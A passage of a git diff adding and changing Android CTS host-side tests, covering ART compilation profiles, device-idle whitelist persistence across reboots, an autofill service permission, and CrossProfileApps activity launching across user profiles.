+SHLandroid/cts/compilation/CompilationTargetActivity;->m30()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m31()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m32()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m33()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m34()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m35()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m36()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m37()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m38()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m39()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m40()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m41()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m42()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m43()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m44()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m45()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m46()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m47()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m48()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m49()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m50()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m51()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m52()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m53()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m54()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m55()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m56()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m57()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m58()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m59()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m60()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m61()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m62()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m63()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m64()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m65()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m66()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m67()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m68()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m69()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m70()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m71()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m72()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m73()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m74()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m75()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m76()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m77()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m78()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m79()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m80()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m81()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m82()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m83()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m84()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m85()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m86()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m87()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m88()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m89()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m90()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m91()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m92()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m93()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m94()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m95()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m96()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m97()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m98()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m99()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m100()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
index 1f5d669..591dcb4 100644
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
@@ -274,19 +274,15 @@
executePush(apkFile.getAbsolutePath(), targetPathApk, targetDir);
assertTrue("Failed to push APK from ", doesFileExist(targetPathApk));
// Run profman to create the real profile on device.
- try {
- String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
- pathSpec = pathSpec.replace("package:", "");
- assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
- executeSuShellAdbCommand(
+ String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
+ pathSpec = pathSpec.replace("package:", "");
+ assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
+ executeSuShellAdbCommand(
"profman",
"--create-profile-from=" + targetPathTemp,
"--apk=" + pathSpec,
"--dex-location=" + pathSpec,
"--reference-profile-file=" + targetPath);
- } catch (Exception e) {
- assertEquals("", e.toString());
- }
executeSuShellAdbCommand(0, "chown", owner, targetPath);
// Verify that the file was written successfully
assertTrue("failed to create profile file", doesFileExist(targetPath));
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index c2557ef..e732f81 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -39,7 +39,6 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
-import android.util.Log;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
diff --git a/hostsidetests/deviceidle/Android.mk b/hostsidetests/deviceidle/Android.mk
new file mode 100644
index 0000000..e73d70f
--- /dev/null
+++ b/hostsidetests/deviceidle/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsDeviceIdleHostTestCases
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+LOCAL_CTS_TEST_PACKAGE := android.deviceidle
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/deviceidle/AndroidTest.xml b/hostsidetests/deviceidle/AndroidTest.xml
new file mode 100644
index 0000000..1e75e27
--- /dev/null
+++ b/hostsidetests/deviceidle/AndroidTest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for the CTS Content host tests">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsDeviceIdleHostTestCases.jar" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java b/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java
new file mode 100644
index 0000000..df16a81
--- /dev/null
+++ b/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceidle;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import org.junit.Assume;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests that it is possible to remove apps from the system whitelist
+ */
+public class DeviceIdleWhitelistTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String DEVICE_IDLE_COMMAND_PREFIX = "cmd deviceidle sys-whitelist ";
+ private static final String RESET_SYS_WHITELIST_COMMAND = "cmd deviceidle sys-whitelist reset";
+ private static final String SHOW_SYS_WHITELIST_COMMAND = DEVICE_IDLE_COMMAND_PREFIX;
+
+ private List<String> mOriginalSystemWhitelist;
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ getDevice().executeShellCommand(RESET_SYS_WHITELIST_COMMAND);
+ mOriginalSystemWhitelist = getSystemWhitelist();
+ if (mOriginalSystemWhitelist.size() < 1) {
+ LogUtil.CLog.w("No packages found in system whitelist");
+ Assume.assumeTrue(false);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ getDevice().executeShellCommand(RESET_SYS_WHITELIST_COMMAND);
+ }
+
+ public void testRemoveFromSysWhitelist() throws Exception {
+ final String packageToRemove = mOriginalSystemWhitelist.get(0);
+ getDevice().executeShellCommand(DEVICE_IDLE_COMMAND_PREFIX + "-" + packageToRemove);
+ final List<String> newWhitelist = getSystemWhitelist();
+ assertFalse("Package " + packageToRemove + " not removed from whitelist",
+ newWhitelist.contains(packageToRemove));
+ }
+
+ public void testRemovesPersistedAcrossReboots() throws Exception {
+ for (int i = 0; i < mOriginalSystemWhitelist.size(); i+=2) {
+ // remove odd indexed packages from the whitelist
+ getDevice().executeShellCommand(
+ DEVICE_IDLE_COMMAND_PREFIX + "-" + mOriginalSystemWhitelist.get(i));
+ }
+ final List<String> whitelistBeforeReboot = getSystemWhitelist();
+ Thread.sleep(10_000); // write to disk happens after 5 seconds
+ getDevice().reboot();
+ Thread.sleep(5_000); // to make sure service is initialized
+ final List<String> whitelistAfterReboot = getSystemWhitelist();
+ assertEquals(whitelistBeforeReboot.size(), whitelistAfterReboot.size());
+ for (int i = 0; i < whitelistBeforeReboot.size(); i++) {
+ assertTrue(whitelistAfterReboot.contains(whitelistBeforeReboot.get(i)));
+ }
+ }
+
+ private List<String> getSystemWhitelist() throws DeviceNotAvailableException {
+ final String output = getDevice().executeShellCommand(SHOW_SYS_WHITELIST_COMMAND).trim();
+ final List<String> packages = new ArrayList<>();
+ for (String line : output.split("\n")) {
+ final int i = line.indexOf(',');
+ packages.add(line.substring(0, i));
+ }
+ return packages;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
index cf6b6e8..711f984 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
@@ -28,7 +28,7 @@
<service
android:name=".SimpleAutofillService"
- android:permission="android.permission.BIND_AUTOFILL" >
+ android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
<intent-filter>
<action android:name="android.service.autofill.AutofillService" />
</intent-filter>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
index bc8d3d3..938ee07 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
new file mode 100644
index 0000000..fca48d3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsCrossProfileAppsTests
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test \
+ truth-prebuilt \
+ ub-uiautomator
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
new file mode 100644
index 0000000..79093d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.crossprofileappstest">
+
+ <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".MainActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name=".NonMainActivity" android:exported="true"/>
+
+ <activity android:name=".NonExportedActivity" android:exported="false">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.crossprofileappstest"
+ android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
new file mode 100644
index 0000000..877d890
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/user_textview"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
new file mode 100644
index 0000000..3ade25a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against non-valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsNonTargetUserTest {
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+
+ private CrossProfileApps mCrossProfileApps;
+ private UserHandle mTargetUser;
+ private Context mContext;
+
+ @Before
+ public void setupCrossProfileApps() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+ }
+
+ @Before
+ public void readTargetUser() {
+ Context context = InstrumentationRegistry.getContext();
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
+ mTargetUser = userManager.getUserForSerialNumber(userSn);
+ }
+
+ @Test
+ public void testTargetUserIsNotInGetTargetProfiles() {
+ List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+ assertThat(targetProfiles).doesNotContain(mTargetUser);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartActivity() {
+ mCrossProfileApps.startMainActivity(
+ MainActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
new file mode 100644
index 0000000..5c4e4c9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsTargetUserTest {
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+ private static final String ID_USER_TEXTVIEW =
+ "com.android.cts.crossprofileappstest:id/user_textview";
+ private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+
+ private CrossProfileApps mCrossProfileApps;
+ private UserHandle mTargetUser;
+ private Context mContext;
+ private UiDevice mDevice;
+ private long mUserSerialNumber;
+
+ @Before
+ public void setupCrossProfileApps() {
+ mContext = InstrumentationRegistry.getContext();
+ mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+ }
+
+ @Before
+ public void wakeupDeviceAndPressHome() throws Exception {
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
+ }
+
+ @Before
+ public void readTargetUser() {
+ Context context = InstrumentationRegistry.getContext();
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ mUserSerialNumber = Long.parseLong(arguments.getString(PARAM_TARGET_USER));
+ mTargetUser = userManager.getUserForSerialNumber(mUserSerialNumber);
+ assertNotNull(mTargetUser);
+ }
+
+ @After
+ public void pressHome() {
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTargetUserIsIngetTargetUserProfiles() {
+ List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+ assertThat(targetProfiles).contains(mTargetUser);
+ }
+
+ /**
+ * Verify we succeed to start the activity in another profile by checking UI element.
+ */
+ @Test
+ public void testCanStartMainActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ MainActivity.getComponentName(mContext), mTargetUser, null, null);
+
+ // Look for the text view to verify that MainActivity is started.
+ UiObject2 textView = mDevice.wait(
+ Until.findObject(By.res(ID_USER_TEXTVIEW)),
+ TIMEOUT_WAIT_UI);
+ assertNotNull("Failed to start activity in target user", textView);
+ // Look for the text in textview, it should be the serial number of target user.
+ assertEquals("Activity is started in wrong user",
+ String.valueOf(mUserSerialNumber),
+ textView.getText());
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartNotExportedActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartNonMainActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
new file mode 100644
index 0000000..c137e80
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * An dummy activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ setContentView(R.layout.main);
+ }
+
+ @Override
+ public void onStart() {
+ super.onStart();
+ TextView textView = findViewById(R.id.user_textview);
+ textView.setText(Long.toString(getCurrentUserSerialNumber()));
+ }
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, MainActivity.class);
+ }
+
+ private long getCurrentUserSerialNumber() {
+ UserManager userManager = getSystemService(UserManager.class);
+ return userManager.getSerialNumberForUser(Process.myUserHandle());
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
new file mode 100644
index 0000000..0876694
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonExportedActivity extends Activity {
+
+ public static ComponentName getComponentName(Context context ){
+ return new ComponentName(context, NonExportedActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
new file mode 100644
index 0000000..56ec466
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
